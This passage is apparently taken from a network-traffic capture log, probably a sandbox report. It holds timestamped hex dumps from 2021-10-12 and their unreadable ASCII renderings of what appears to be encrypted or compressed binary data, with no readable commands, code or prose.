8f 70 d3 30 18 18 51 07 45 f7 66 fb 74 52 5f 69 60
                                                            Data Ascii: Dk99/)H_whn[=Ntm$`lO(Qp`h\*/lxo=wSf,U?s#O#.'gsDr?7|O5f=F#`mf{ )_v$tZ@Lgjy#gw]vfSH_jc\%0vZ[]N'06t-7p0QEftR_i`
                                                            2021-10-12 07:38:07 UTC172INData Raw: 54 7d be 75 7e ca a2 ca 4a c5 f6 16 9a 1c 37 8f fe ba cc be cc 66 d9 da ce 7d 6b 46 9e 53 56 2b 82 0e 08 6f 92 3f ed 32 c7 99 6c a0 5d a4 37 2d 79 9a 40 0f 74 a6 9d cc 0a cd e5 09 f3 2d 7d 6e 1a da 5f eb 54 42 55 47 34 7b db 8d e9 8a 2b 6d d1 2b f8 07 90 6b a6 81 12 2e 0c 40 9f 5b ad 6e cd 0b 74 12 37 2b c0 5e bc 56 3f ee 06 30 fa 81 a9 8f dd ec 46 ef 8a 74 20 86 87 f4 00 45 82 36 53 3b c5 c5 8b d6 c1 9a 39 96 79 b7 72 b5 a8 5f 07 c3 1e ed a8 a3 22 bc 9f 61 9b d0 a0 39 3a 3b 1f b5 26 6f 73 39 f7 e9 ae 82 9e 29 4d b2 d8 93 26 09 7e 34 75 32 f0 68 6b 28 c0 39 0e f1 48 dc ab 04 39 47 1e 69 0b ee e8 29 05 85 f5 24 18 49 60 20 65 fc 75 68 97 f7 c3 ca f3 45 8f 44 39 ca 1d 4b 4d d7 4a 05 26 91 9a 07 1c d7 c2 9b 9e c9 5b bf 1b 58 b9 50 d9 b0 96 85 da 1c 6d 0a a2
                                                            Data Ascii: T}u~J7f}kFSV+o?2l]7-y@t-}n_TBUG4{+m+k.@[nt7+^V?0Ft E6S;9yr_"a9:;&os9)M&~4u2hk(9H9Gi)$I` euhED9KMJ&[XPm
                                                            2021-10-12 07:38:07 UTC173INData Raw: 3d 28 6c 88 67 cc 13 5d 27 72 46 5e 42 4d d2 c2 73 00 73 0b 1f 6b cb cc 22 be 0c b8 be 55 0d 1c 02 80 10 c2 a0 e3 17 13 a5 32 f3 9f 54 22 0f 2e f5 b9 fb d3 7f c7 47 61 25 d1 4f b2 30 da 6d 11 da 23 86 61 0d 36 60 f5 24 e3 61 9f fc e1 34 6e 65 c4 b5 7c 42 01 aa b6 c8 b2 63 ae 20 02 4a f4 a3 3c 42 73 a0 f6 9b 68 cb 7b f4 f5 03 e4 ff 33 0e 8f 5f 07 e3 9c 92 97 0a 92 ab 75 c2 d0 46 fb 4c e7 d6 ab 03 d3 39 65 b6 fb a9 02 c1 52 00 ac 74 5f f1 c2 fd 4f 30 60 d6 d3 bf b3 de 74 8a 74 61 4a 84 d1 40 65 84 a5 87 89 25 41 05 f6 01 70 47 40 71 98 66 2d 9b 5e 27 bc b6 fd a4 be 95 fb 0d 81 02 52 80 23 87 9e e0 8c cf 35 01 be ad ed 8f d9 3c ec 37 fe 63 79 28 28 1b 43 2d 01 f4 ec fb 8a 53 2e 7a d8 38 bd 11 44 c0 39 b2 89 96 91 c8 60 46 ec 95 bf 40 ca f4 56 4c 75 c4 f2 80
                                                            Data Ascii: =(lg]'rF^BMssk"U2T".Ga%O0m#a6`$a4ne|Bc J<Bsh{3_uFL9eRt_O0`ttaJ@e%ApG@qf-^'R#5<7cy((C-S.z8D9`F@VLu
                                                            2021-10-12 07:38:07 UTC175INData Raw: 57 16 40 86 01 5a 62 83 45 0e 87 46 3f 3f 36 ba 9f 28 e2 51 64 37 66 7f 6e 17 09 a6 a2 e0 ca 87 f9 e9 40 f2 61 6c 5e 16 fe d9 eb 29 44 e9 92 39 bb db c1 ef a6 2d 49 c2 2b 85 01 0c 54 ae c8 13 63 1a 28 4c 5b 87 65 b0 0d 34 23 3f eb c0 13 aa 22 ec ee d1 34 87 87 b5 22 f1 aa 42 a1 9c dc f3 86 ff ff 7d 43 fa 89 7f c5 c4 8b 9d 62 91 9c 37 9a 04 b1 ce 2f a1 19 03 8c 08 05 f8 a5 5a b7 e2 67 6f b6 a9 c7 3b 74 0e 41 f5 6f cd 13 8a ef 46 20 ab 07 4c e2 c9 bb f4 09 a0 1e 08 34 70 da 5e b0 c3 69 18 c5 19 da 81 0f 44 41 02 39 1f a8 ec 78 13 ed 74 24 86 59 1d 26 b9 da 61 96 96 a6 d5 be 21 45 1e 6f 44 cc 4d ad 52 91 4e 57 30 39 cb 01 8d fc bf 9d 22 da 45 41 1a 0a bf fc de 94 85 85 a7 1a b1 68 ac f8 b0 24 e3 50 b3 23 32 dc 02 14 69 12 21 2c c6 c5 35 4c ee 18 ae 0e 4e 99
                                                            Data Ascii: W@ZbEF??6(Qd7fn@al^)D9-I+Tc(L[e4#?"4"B}Cb7/Zgo;tAoF L4p^iDA9xt$Y&a!EoDMRNW09"EAh$P#2i!,5LN
                                                            2021-10-12 07:38:07 UTC176INData Raw: af a2 2d bd a7 2f 6c 94 78 c4 c1 46 e1 6a 02 6c a7 f0 bb 77 53 99 00 51 b0 1d d1 02 c1 a3 77 20 c2 4f c3 a6 96 4c 12 3c 21 fb 67 ea 76 47 c3 07 92 f7 3f 6b ea d2 6c 18 c2 b7 3d 65 3d 89 c7 5e 46 37 ad c6 00 37 f5 8d 7d 65 10 83 87 0d a4 24 6e 12 f7 7e e5 ae a7 0d 9c 5f 76 75 24 e5 94 ec 90 d6 74 ae c7 43 e8 4c 96 40 67 19 c6 df 67 cb ea 2e 96 c2 db 23 dd e2 7f 5a c0 1b 4d 4d 76 75 47 bc 1a fd 05 1c c0 b6 5f 62 d3 3d 63 23 e4 a0 9a 25 30 93 fe d7 72 a1 42 0c fe be b9 98 cd 06 cd 20 9d d1 a9 73 f9 70 87 ed 13 a7 30 87 ef 76 17 c7 37 e7 bc d0 8b 9e b3 2e ff 37 8f f5 d3 90 3e fd 41 50 45 da 7f f8 74 52 5f ec 60 1a bf f7 46 bd 28 e3 c5 b1 17 c8 11 d0 c0 44 a9 a6 c8 89 40 28 e6 c7 cc a4 1d e5 61 c1 11 4d 8c be 06 84 77 aa 37 a3 f8 b6 d8 82 ba 5a 60 69 4a 68 63
                                                            Data Ascii: -/lxFjlwSQw OL<!gvG?kl=e=^F77}e$n~_vu$tCL@gg.#ZMMvuG_b=c#%0rB sp0v7.7>APEtR_`F(D@(aMw7Z`iJhc
                                                            2021-10-12 07:38:07 UTC177INData Raw: 0e 0c 74 a6 9d 5c 02 b0 d9 a6 f0 1c 7d 19 53 d9 5f eb 54 d2 5d 86 3f 5d d9 bc e9 3e 62 6e d1 2b f8 97 98 c7 9d 2e 11 1e 0c 89 d6 58 ad 6e cd 9b 7c 9c 38 0d c2 6e bc e0 76 ed 06 30 fa 11 a1 2b c4 4c 40 dc 8a 38 69 85 87 f4 00 d5 8a 37 7f 23 c6 f6 8b 64 8b 99 39 96 79 27 7a 75 a6 ff 01 f1 1e 2d e2 a0 22 bc 9f f1 93 e7 a9 21 39 09 1f 0b 6c 6c 73 39 f7 79 a6 ef ad e1 4e 9f d8 d0 6d 0a 7e 34 75 a2 f8 db 5e 56 c1 14 0e 48 03 df ab 04 39 d7 16 b1 19 4e ee 05 05 42 be 27 18 49 60 b0 6d 63 62 70 94 db c3 6f b8 46 8f 44 39 5a 15 7a 5b 77 4c 2a 26 cb d1 04 1c d7 c2 0b 96 51 47 a7 18 77 b9 f7 93 b3 96 85 da 8c 65 88 a7 1e b2 59 f5 65 2b 20 d9 f7 7f 82 31 31 22 ca c4 b8 23 1a 76 1b ad 22 33 0f 18 8c f8 09 2f fb eb 13 b7 a8 25 6a 4d 9e ef ce 85 4b 90 47 bd 5e ef 83 52
                                                            Data Ascii: t\}S_T]?]>bn+.Xn|8nv0+L@8i7#d9y'zu-"!9lls9yNm~4u^VH9NB'I`mcbpoFD9Zz[wL*&QGweYe+ 11"#v"3/%jMKG^R
                                                            2021-10-12 07:38:07 UTC178INData Raw: df 56 ff f1 41 61 14 11 c9 23 45 42 71 7c f0 09 84 b2 47 2c 81 ce 85 45 63 dd ed 26 25 b7 e1 08 18 ad eb ed aa 7e f4 13 e6 da f7 35 f6 41 88 be 2a be 83 3b c8 04 78 6b 96 de 08 fe eb ea 98 40 9c 56 69 66 53 a4 70 07 4d 34 a4 84 f9 9f b5 7e 80 34 6f ac c2 10 14 e7 1a d5 d9 d9 a9 cc f5 5a d2 06 da 28 7f 16 40 8a ca 59 62 83 45 9e 87 c8 39 0b 30 ba 9f 5a 29 52 64 37 66 ef 6e cd 0f 92 a4 e0 ca 62 32 ea 40 f2 61 eb 46 11 dc b9 e9 29 44 df a5 3b bb db c1 7f be 94 6d 37 29 85 01 3c 9f ad c8 13 63 9a 28 0b 5d 4b 6c b0 0d ba e9 3c eb c0 13 2a 22 0c ed e0 32 87 87 49 d7 f2 aa 42 a1 1c dc 9a 8e 61 f6 7d 43 80 7f 7c c5 c4 8b 1d 62 44 99 df 94 04 b1 56 d9 a2 19 03 8c 88 05 db b6 c4 be e2 67 dd 40 aa c7 3b 74 89 41 89 6c 95 3b 8a ef d6 d7 a8 07 4c e2 4e bb 1c 1c 98 36
                                                            Data Ascii: VAa#EBq|G,Ec&%~5A*;xk@VifSpM4~4oZ(@YbE90Z)Rd7fnb2@aF)D;m7)<c(]Kl<*"2IBa}C|bDVg@;tAl;LN6
                                                            2021-10-12 07:38:07 UTC179INData Raw: 49 d9 89 75 f8 27 29 f3 94 1a 30 31 d3 1f 39 6b 05 69 f9 c3 c3 64 3e b1 e7 2a 92 f5 49 02 3d 10 7b 08 07 df ab ee 74 61 b4 a9 f6 85 68 4b 7d 27 a7 ff c7 95 e1 05 d2 56 bd d0 39 36 c5 cd 2f 29 48 59 a2 e4 6a 92 9c 3f 98 db 7a 3e f6 4e e6 f1 b4 57 59 c1 70 3b 4f 6c fb d1 28 51 70 e5 b7 bb 5b 2d ce 5f af 5c 0e bd a7 2f 6c 94 78 7a c6 46 e1 6a 02 d7 84 f0 bb 77 53 99 00 3e 89 1d d1 02 c1 d3 54 20 c2 4f c3 a6 96 cd 16 3c 21 fb 67 a3 55 47 c3 07 92 f7 3f 5a d2 d2 6c 18 c2 7a 1f 65 3d 89 c7 5e 46 b5 a9 c6 00 37 f5 42 5f 65 10 83 87 0d a4 e7 48 12 f7 7e e5 e4 86 0d 9c 5f 76 75 24 63 90 ec 90 d6 74 ff e6 43 e8 4c 96 40 67 8c e7 df 67 cb ea f7 b7 c2 db 23 dd e2 7f 31 c2 1b 4d 4d 76 a9 66 bc 1a fd 05 1c c0 eb 4c 62 d3 3d 63 3d c5 a0 9a 25 30 93 fe 13 70 a1 42 0c fe
                                                            Data Ascii: Iu')019kid>*I={tahK}'V96/)HYj?z>NWYp;Ol(Qp[-_\/lxzFjwS>T O<!gUG?Zlze=^F7B_eH~_vu$ctCL@gg#1MMvfLb=c=%0pB
                                                            2021-10-12 07:38:07 UTC180INData Raw: 4b 49 92 15 51 e3 75 8e df a9 eb 4c 7c 89 85 20 8e f3 d3 f4 3c 1e 2a 04 a7 65 39 b5 92 90 46 a1 38 0a 83 7d 5c 06 46 7a 54 14 f0 59 c0 73 e1 4f 49 32 5c e5 bd 53 7c fd a2 43 24 c6 f6 16 9a 8c 2f 79 df 4f ce 88 cc 9c b7 d9 ce 7d 6b d6 96 fa 7a 84 81 38 08 e8 fc 3c ed 32 c7 09 64 e2 54 82 35 1b 79 fe 2e 0c 74 a6 9d 5c 02 7f c9 a6 f0 1c 7d f4 73 d9 5f eb 54 d2 5d b8 3c 5d d9 bc e9 6a 42 6e d1 2b f8 97 98 48 8e 2e 11 1e 0c de f6 58 ad 6e cd 9b 7c c5 3b 0d c2 6e bc 3a 55 ed 06 30 fa 11 a1 19 d5 4c 40 dc 8a e6 4a 85 87 f4 00 d5 8a 0a 7b 23 c6 f6 8b 3e ab 99 39 96 79 27 7a ed 8d ff 01 f1 1e 7b c2 a0 22 bc 9f f1 93 db ad 21 39 09 1f de 4c 6c 73 39 f7 79 a6 3a 9a e1 4e 9f d8 7b 4d 0a 7e 34 75 a2 f8 fd 5a 56 c1 14 0e 24 23 df ab 04 39 d7 16 f0 2f 4e ee 05 05 ef 9f
                                                            Data Ascii: KIQuL| <*e9F8}\FzTYsOI2\S|C$/yO}kz8<2dT5y.t\}s_T]<]jBn+H.Xn|;n:U0L@J{#>9y'z{"!9Lls9y:N{M~4uZV$#9/N
                                                            2021-10-12 07:38:07 UTC182INData Raw: 72 95 13 4b 7f ab b7 5f 1c e1 dd d6 78 85 46 9b 4f f4 f8 fe 82 3a 26 41 fd ba 03 f2 b6 d5 b0 bf ad af dd e1 d8 c9 2b 35 cf 97 25 58 74 9e 42 0e d6 ca 3f 10 4c 9b 67 e3 ac 5e 27 72 46 d9 42 9b c4 ce 53 0d 73 ce a0 68 cb cc 22 39 0c 94 bc 41 2d 11 02 e2 af c1 a0 e3 17 94 a5 0a e5 5d 75 2e 0f bb 4b ba fb d3 7f 57 47 70 26 24 4d be 30 4b d3 12 da 23 86 f1 15 51 5c 25 05 ef 61 c0 42 e2 34 6e 65 54 ad 11 63 db 8b ba c8 66 de ad 20 02 4a 63 bb c7 7d f6 81 fa 9b e6 79 78 f4 f5 03 73 ff fd 0b 7a 5d 0b e3 40 22 94 0a 92 ab e2 c2 bf 5a 0e 4e eb d6 e1 b2 d0 39 65 b6 7c a9 18 c4 3d 21 a0 74 d7 47 c1 fd 4f 30 e0 d6 4f 9e fc ff 78 8a 09 79 48 84 d1 40 f5 9c 50 a6 7c 27 4d 05 14 b6 73 47 40 71 68 65 91 bb 2b 04 b0 b6 96 12 bd 95 fb 0d 11 1a f1 a1 d6 85 92 e0 3a 79 36 01
                                                            Data Ascii: rK_xFO:&A+5%XtB?Lg^'rFBSsh"9A-]u.KWGp&$M0K#Q\%aB4neTcf Jc}yxsz]@"ZN9e|=!tGO0OxyH@P|'MsG@qhe+:y6
                                                            2021-10-12 07:38:07 UTC183INData Raw: 83 3b c8 04 78 85 a2 de 08 fe eb 79 c9 40 9c 56 69 66 53 9d 76 07 4d 34 a4 1b a8 9f b5 7e 80 34 6f 68 c6 10 14 e7 1a 46 88 d9 a9 cc f5 5a d2 81 d2 28 7f 16 40 1c 9a 59 62 83 45 9e 87 64 3c 0b 30 ba 9f cf 79 52 64 37 66 ef 6e 1f 05 92 a4 e0 ca ce 62 ea 40 f2 61 eb 46 bc d9 b9 e9 29 44 b3 f5 3b bb db c1 7f be 19 78 37 29 85 01 97 cc ad c8 13 63 9a 28 d7 59 4b 6c b0 0d 4d ba 3c eb c0 13 2a 22 dd fb e0 32 87 87 f2 84 f2 aa 42 a1 1c dc 52 84 61 f6 7d 43 ff 2f 7c c5 c4 8b 1d 62 82 8d df 94 04 b1 ec 89 a2 19 03 8c 88 05 86 a1 c4 be e2 67 24 10 aa c7 3b 74 89 41 65 79 95 3b 8a ef 7e 87 a8 07 4c e2 4e bb f7 0b 98 36 08 34 01 7e 5d b0 c3 69 98 c5 49 ca 4d 06 44 41 0d 92 1c a8 ec 78 93 ed 0e 26 fe 4b 1d 26 50 71 62 96 96 a6 55 be 04 53 69 46 44 cc 4a 1b 51 91 4e 57
                                                            Data Ascii: ;xy@VifSvM4~4ohFZ(@YbEd<0yRd7fnb@aF)D;x7)c(YKlM<*"2BRa}C/|bg$;tAey;~LN64~]iIMDAx&K&PqbUSiFDJQNW
                                                            2021-10-12 07:38:07 UTC184INData Raw: c7 95 e1 cf e6 56 bd d0 39 88 b4 cd 2f 29 48 59 a2 07 5c 92 9c 3f 98 a0 0a 3e f6 4e e6 f1 b4 81 6e c1 70 3b 4f d5 8b d1 28 51 70 e5 b7 dc 6c 2d ce 5f af b4 7e bd a7 2f 6c 94 78 ca f1 46 e1 6a 02 7c f4 f0 bb 77 53 99 00 1d be 1d d1 02 c1 bc 24 20 c2 4f c3 a6 96 12 24 3c 21 fb 67 08 26 47 c3 07 92 f7 3f 06 e1 d2 6c 18 c2 92 6c 65 3d 89 c7 5e 46 2d a9 c6 00 37 f5 db 2c 65 10 83 87 0d a4 83 7b 12 f7 7e e5 7d f6 0d 9c 5f 76 75 24 25 91 ec 90 d6 74 66 96 43 e8 4c 96 40 67 7a d3 df 67 cb ea 6c c7 c2 db 23 dd e2 7f 0e c4 1b 4d 4d 76 31 16 bc 1a fd 05 1c c0 27 48 62 d3 3d 63 94 b4 a0 9a 25 30 93 fe 92 78 a1 42 0c fe 4f e9 98 cd 06 cd 20 9d 91 bd 73 f9 70 87 51 43 a7 30 87 ef 76 17 05 3f e7 bc d0 8b e0 e4 2e ff 37 8f f5 d3 40 2b fd 41 50 45 7a 28 f8 74 52 5f ec 60
                                                            Data Ascii: V9/)HY\?>Nnp;O(Qpl-_~/lxFj|wS$ O$<!g&G?lle=^F-7,e{~}_vu$%tfCL@gzgl#MMv1'Hb=c%0xBO spQC0v?.7@+APEz(tR_`
                                                            2021-10-12 07:38:07 UTC185INData Raw: 5c 11 99 53 7c fd a2 e8 54 c6 f6 16 9a 8c 2f bb fa 4f ce 88 cc 7a c7 d9 ce 7d 6b d6 96 f2 5e 84 81 38 08 4d 8c 3c ed 32 c7 09 64 92 75 82 35 1b 79 82 5e 0c 74 a6 9d 5c 02 70 ed a6 f0 1c 7d 48 00 d9 5f eb 54 d2 5d 59 12 5d d9 bc e9 8e 31 6e d1 2b f8 97 98 0b aa 2e 11 1e 0c 7a 85 58 ad 6e cd 9b 7c 13 0e 0d c2 6e bc 56 25 ed 06 30 fa 11 a1 69 f5 4c 40 dc 8a 49 3a 85 87 f4 00 d5 8a 70 4f 23 c6 f6 8b d5 db 99 39 96 79 27 7a 2c a5 ff 01 f1 1e dc b2 a0 22 bc 9f f1 93 15 99 21 39 09 1f ba 3c 6c 73 39 f7 79 a6 df ac e1 4e 9f d8 a6 3c 0a 7e 34 75 a2 f8 2f 6d 56 c1 14 0e fb 52 df ab 04 39 d7 16 9d 18 4e ee 05 05 b2 ef 27 18 49 60 b0 6d 69 52 70 94 db c3 3f e9 46 8f 44 39 5a 15 2e 55 77 4c 2a 26 9a 80 04 1c d7 c2 0b 96 03 71 a7 18 77 b9 21 c3 b3 96 85 da 8c 65 1b ac
                                                            Data Ascii: \S|T/Oz}k^8M<2du5y^t\p}H_T]Y]1n+.zXn|nV%0iL@I:pO#9y'z,"!9<ls9yN<~4u/mVR9N'I`miRp?FD9Z.UwL*&qw!e
                                                            2021-10-12 07:38:07 UTC187INData Raw: 3c b4 6b f5 67 80 95 cb 26 92 47 d6 42 98 f6 d6 50 d1 73 f5 bc aa cb 7d 22 59 2b 74 bd 1e 2f 44 23 dc 94 22 a0 4b 0e d2 a7 54 f2 c9 44 85 0d f1 72 d8 e7 9a 7e 38 47 05 29 19 4d 6a 30 7a c1 f0 d8 22 87 26 18 92 47 c2 06 c9 6c d9 79 49 34 82 4e 28 af ff 67 7f ac d4 c8 4f e5 ed 05 f3 48 34 bb d9 6f e7 81 46 9b ca 4b 84 f5 34 03 79 e7 5a 0d 5d 5f 34 cc 37 18 87 0b e1 be 77 c1 dd 40 5f 67 9c d5 7e 89 25 0a 6a b5 c3 a8 22 eb d1 20 ec 75 37 6b 18 ff 86 30 fd f1 52 bd d3 fd 72 86 dc 40 73 85 63 4c 2a 9d 2e a2 13 3c 23 05 bf 8d bd 63 62 72 bf 64 00 be 4b 06 e4 b7 5b 39 97 96 d2 0c 2c 29 3d a6 19 86 57 c7 23 41 65 00 27 8e b7 8f 6e 2c 3f 05 cf 60 0a a5 77 08 04 2e 9c f7 13 ea 67 52 3e 7b 7b ae b6 12 25 c1 2b 89 8c b0 7e c9 87 59 46 1b cf 41 88 d1 53 4c 83 c4 4d b1
                                                            Data Ascii: <kg&GBPs}"Y+t/D#"KTDr~8G)Mj0z"&GlyI4N(gOH4oFK4yZ]_47w@_g~%j" u7k0Rr@scL*.<#cbrdK[9,)=W#Ae'n,?`w.gR>{{%+~YFASLM
                                                            2021-10-12 07:38:07 UTC188INData Raw: 68 ef 48 3f df 95 74 79 40 69 86 50 2b 2c 3a 5e 9e fb 08 96 6c ae 67 bb 61 c3 0e ed a7 02 dc 96 22 71 41 c5 7b de 45 ef da 37 fb 47 44 f4 b1 13 ad c8 c1 48 bf 07 7c c2 2b 29 02 78 82 e9 cc c2 60 dc 37 16 52 7c 6d a5 1d 6f fc 17 eb 6c 1a 5d 2a 9a ec 9b 00 b3 86 08 c2 35 bc b8 a4 43 dc 66 8f cb fd f1 41 c3 7d 2c cc 0d 8b 3d 69 dd 92 68 95 3b 94 e2 cc 51 1a e2 a1 42 0c bd a1 36 88 b1 66 6a 55 fd e7 51 7d e6 42 1e 63 3a 38 5e ef 2d e5 e3 06 e5 e2 4c ae f6 01 57 34 cf 3d 62 31 5e b4 78 76 48 c1 0c d9 31 1b 7f 45 07 d1 9f bd a5 79 04 e9 c3 32 5e 4d 61 22 c7 29 26 92 3f a6 bc 9d ff 45 7e 47 d8 e1 a2 55 e2 91 ca 57 f8 30 6e 06 9d c2 15 99 9f fb ea 4b d3 0f b0 e7 16 a4 73 8c 6b 1a f2 9b 40 f1 a9 20 5e 63 d0 2b 8d f7 53 1c ad e0 29 2f 4c d0 22 46 d0 19 6d 0a c9 9c
                                                            Data Ascii: hH?ty@iP+,:^lga"qA{E7GDH|+)x`7R|mol]*5CfA},=ih;QB6fjUQ}Bc:8^-LW4=b1^xvH1Ey2^Ma")&?E~GUW0nKsk@ ^c+S)/L"Fm
                                                            2021-10-12 07:38:07 UTC189INData Raw: ba 8d 2d 4f a9 f4 6e 83 7a 6c e5 0b f6 96 07 40 8b dc ba d6 57 19 0a ae ad e2 d7 55 e4 ea 72 83 c6 cd e6 d8 83 4b 14 e7 38 cb 64 b4 70 61 ca f6 87 38 3d a4 f7 5e 6d c4 c6 34 1a 9f 28 e8 c6 49 53 19 ba 81 06 83 f2 f6 7d 4e 16 0b a2 99 b2 72 7c b6 d0 10 e5 ce a2 2e 94 9f 76 a2 22 f3 b0 53 84 92 72 92 d0 1e fe 0d 90 fc 42 25 d5 78 63 c8 f0 cf 83 89 dd ac ed 3d 7e 64 c7 d0 5b a7 60 0f 44 eb 09 fe 12 8b c3 7a 5f 5f d3 e9 63 4a ce 97 8d 84 34 cc f9 b6 66 ee 40 2e ea fe ad 33 cd 84 ff 60 8a 78 be c0 e8 d6 90 4b 16 23 39 65 f8 b9 11 df 10 0b a6 3c 8a 0d a2 f7 fd a6 8e f4 d3 f1 31 ba 47 d6 40 0f 6e 53 74 0d 4b b8 78 1c bc fc 69 c2 31 bb c0 22 3b 2e 14 d7 c1 93 9f b8 df 85 46 0e c7 d6 cc 45 1c 31 44 1d 08 ba 8f 9e 1e a6 75 b9 36 d2 d2 82 de 45 a0 1d 46 47 4e ed 62
                                                            Data Ascii: -Onzl@WUrK8dpa8=^m4(IS}Nr|.v"SrB%xc=~d[`Dz__cJ4f@.3`xK#9e<1G@nStKxi1";.FE1Du6EFGNb
                                                            2021-10-12 07:38:07 UTC191INData Raw: 01 d7 62 88 9c 5b 00 5e c9 6e f3 f0 7f 04 7b 94 79 f2 50 bc 42 d0 1f 2a d9 e0 e7 7a 6c fd d3 3f f6 7d be 23 af de 19 f5 2a 81 db be b7 37 c6 c4 7b be 1b 42 c3 da bb 5b 7b 44 20 f9 fd 84 a0 6d d6 63 45 2c 8a f2 65 4e 80 19 00 87 89 b8 7d 3f e8 9b a9 9b 85 54 37 70 7b 68 7d 8d 85 0a 03 55 19 2a e0 b5 22 95 9e e5 a3 be ab 1e 3c 38 0a ae 66 e7 76 47 ed 21 81 d0 ab b3 60 04 dd 5a 64 8f 6e c5 52 85 f8 b9 4a 47 e4 80 09 42 1d 22 8c f5 3e 03 33 15 1e 59 eb a6 23 c2 b4 6c 1a 58 47 3e 45 cf 67 e8 8c b8 eb bf be 74 9c f7 3e 85 17 22 49 d0 4a 66 24 57 cf 15 1c ae c1 37 ba 62 49 18 1b 8b ac 0b 98 f5 97 c7 ff 09 65 d7 ac ba 95 37 f5 79 25 33 d1 26 57 dd 36 0c 39 8f c5 0c 24 6c 6a c1 85 66 32 b5 10 7a eb ab 2c fc d9 9f bf e6 24 8f 63 26 ee d7 82 3d bd e6 95 90 e1 c3 77
                                                            Data Ascii: b[^n{yPB*zl?}#*7{B[{D mcE,eN}?T7p{h}U*"<8fvG!`ZdnRJGB">3Y#lXG>Egt>"IJf$W7bIe7y%3&W69$ljf2z,$c&=w
                                                            2021-10-12 07:38:07 UTC192INData Raw: fe 9e 60 c9 47 21 27 90 50 cb 30 ce ef 47 c5 2b 86 3b 10 35 47 cb 07 f2 64 0d 57 e8 34 0a 60 f5 81 36 67 55 8c fb e4 4e e4 c3 25 43 66 fd bb 0e 62 29 8c 8f 9b dc 46 46 f6 fd 03 99 fa e1 0f 94 5f f6 e6 3d 12 9e 0a 16 ae 61 c9 cc 41 60 49 d0 d4 6f 88 5e 3c 28 a9 e2 a9 05 c5 90 0f d5 74 eb 78 93 d1 66 30 05 d6 81 be 34 fd b6 9d 6c 6f 64 84 6a 57 d6 b0 c9 a2 59 32 e4 29 be 8c 6a 47 7c 71 be 65 91 9a 88 06 8e b6 8e 29 a2 95 b8 0d 9c 1a 2c a5 79 87 9c e0 cc 42 57 01 a5 ad b7 8c d4 2c ec 37 92 63 ba a5 5a 1b b7 2d c5 f7 50 fa 31 52 dc 7a 73 b5 a1 11 c7 c0 53 aa 84 b3 94 c8 92 46 85 1b 37 40 b9 f4 46 4d 42 c5 e7 a4 58 73 c0 38 d9 ab cb c3 a7 04 a0 a8 72 a3 5b 20 c3 24 9e bc c1 14 89 f4 19 60 d5 41 f8 e0 f1 40 b8 a0 2b eb fb 14 1e df 62 d1 e7 3c 9a f6 df 46 a1 99
                                                            Data Ascii: `G!'P0G+;5GdW4`6gUN%Cfb)FF_=aA`Io^<(txf04lodjWY2)jG|qe),yBW,7cZ-P1RzsSF7@FMBXs8r[ $`A@+b<F
                                                            2021-10-12 07:38:07 UTC193INData Raw: c7 00 a3 6f 6c cb 36 15 1c 98 8a 4e d4 fa 7e 0c 28 20 70 78 60 cd 0d 84 d6 eb e5 c0 13 4c 0d ae e1 06 30 5a a4 74 cc f0 aa e2 ac 5f d2 64 87 7c f9 d5 4d 8a 69 8c cc 11 85 8b 62 e6 b6 22 88 79 b1 f0 c7 bb 07 03 8c 4a 31 33 bf 22 bc 51 72 88 48 a8 c7 0e 6a 04 5f 62 6e d7 36 28 f2 a6 c1 1f 26 04 fc d8 bb 51 14 ab 3a 75 34 84 36 12 ae c3 69 ff c9 d8 d3 ab 04 74 5e c3 db 1e a8 17 4a e6 f0 b0 25 cb 41 2d 38 6d 36 01 9e db b8 c3 be b6 50 cb 5b 39 cc 39 55 48 8f 4e 57 92 11 f5 25 1c d7 bf b2 49 e5 45 41 76 2e 89 c7 9c b1 99 99 0f 14 65 9b 7f d3 b1 0d f5 50 e9 2d 1e de 7f 14 eb ca ff 31 c6 c5 30 67 b4 30 ad 22 22 9e 50 f8 ec ef 7f 8b 3e 65 b8 aa fd 63 98 06 ef ce 63 ae 47 34 bd c4 55 a2 87 b7 21 76 0c bc 7e 16 85 f0 50 fb 52 87 b1 b4 c7 db 01 7f ff bb f1 1d b7 dd
                                                            Data Ascii: ol6N~( px`L0Zt_d|Mib"yJ13"QrHj_bn6(&Q:u46it^J%A-8m6P[99UHNW%IEAv.eP-10g0""P>eccG4U!v~PR
                                                            2021-10-12 07:38:07 UTC194INData Raw: 4b 9a bf 4a 51 e2 75 60 de a2 ef a8 7e 8d 84 b9 a2 f0 d3 8e 3d d7 2a 3c bc f8 3a a9 92 79 6a df 39 6b 83 e9 5c f1 43 ff 56 68 f0 2d ec 12 e1 4d 49 db 5d 88 9d b4 7e 00 a3 0a 09 c6 f6 87 9b 7d 2f cf db 36 cd 9c cc d3 9a 7b cf 14 6b 42 96 7c 5a 09 83 44 08 23 d0 55 ed 30 c7 3a 65 51 50 65 37 c0 78 03 03 0c 74 49 9c a5 02 26 e8 b0 f3 0e 7d 44 5e 2a 5e 9a 54 45 5d 42 38 ca db c3 e9 46 6e 1f d1 2a f8 f8 99 f9 af ca 13 99 0d 5d db 5b ad 95 cc 78 7c fe 3e 17 c1 64 bc 23 7b 12 07 47 fa 85 a1 3c f1 d3 42 a0 8a 23 65 fe 87 f6 00 60 88 12 7e c4 c4 af 89 19 85 99 39 b3 7b cc 7a ce a0 3f 01 f1 1e 07 ec 85 20 c3 9f 66 93 7e aa b8 3b 76 1f 68 60 ef 73 38 f7 c5 a4 40 aa 1d 4c ba da ea 67 13 7e ba 77 65 fc 09 5f 8e c0 d2 0a f4 0d 9d a8 b9 3d 70 16 97 1d 17 e8 49 05 a9 b3
                                                            Data Ascii: KJQu`~=*<:yj9k\CVh-MI]~}/6{kB|ZD#U0:eQPe7xtI&}D^*^TE]B8Fn*][x|>d#{G<B#e`~9{z? f~;vh`s8@Lg~we_=pI
